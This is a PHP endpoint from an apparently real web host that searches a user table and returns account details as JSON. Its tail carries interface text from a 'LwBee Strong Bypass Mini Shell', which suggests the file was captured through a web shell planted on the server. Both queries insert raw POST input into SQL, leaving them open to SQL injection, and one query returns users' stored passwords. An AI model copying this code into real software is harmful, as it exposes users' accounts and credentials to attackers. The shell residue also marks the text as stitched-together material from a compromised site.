/home3/vehiclea/public_html/mamacloud/checkUserName.php
<?php
include "db.php"; 
$type = $_POST['type'];
if($type == 1){
    $userId = $_POST['userId'];
    $addUser = "SELECT * FROM addUser where status = '1' and userId like '%".$userId."%' order by id asc limit 5"; 
    $addUserData = mysqli_query($conn,$addUser);
    $addUser_arr = array();
    while($data = mysqli_fetch_assoc($addUserData)){
        $id         = $data['id'];
        $userId   = $data['userId'];  
        $addUser_arr[] = array("id" => $id, "userNum" => $userId); 
    }
    echo json_encode($addUser_arr);
} 

 if($type == 2){  
    $keyid = $_POST['keyid'];
    $addUser2 = "SELECT * FROM addUser where id = ".$keyid; 
    $addUserData2 = mysqli_query($conn,$addUser2);
    $addUser_arr2 = array();
    while($data2 = mysqli_fetch_assoc($addUserData2)){ 
        $id                     = $data2['id'];
        $partnerId              = $data2['partnerId']; 
        $mailId                 = $data2['mailId']; 
        $password               = $data2['password']; 
        $phoneNo                = $data2['phoneNo']; 
        $name                   = $data2['firstName'].' '.$data2['lastName']; 


    $addPart = "SELECT * FROM addPartner where partnerId = ".$partnerId;
    $addPartData = mysqli_query($conn,$addPart);
    $data3 = mysqli_fetch_assoc($addPartData);
    $partnerName = $data3['firstName'].' '.$data3['lastName']; 

        $addUser_arr2[] = array("id"=>$id, "partnerId"=>$partnerId, "mailId"=>$mailId, "password"=>$password,
            "partnerName"=> $partnerName, "phoneNo"=>$phoneNo, "name"=>$name);
    }
    echo json_encode($addUser_arr2); 
} 
?>
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File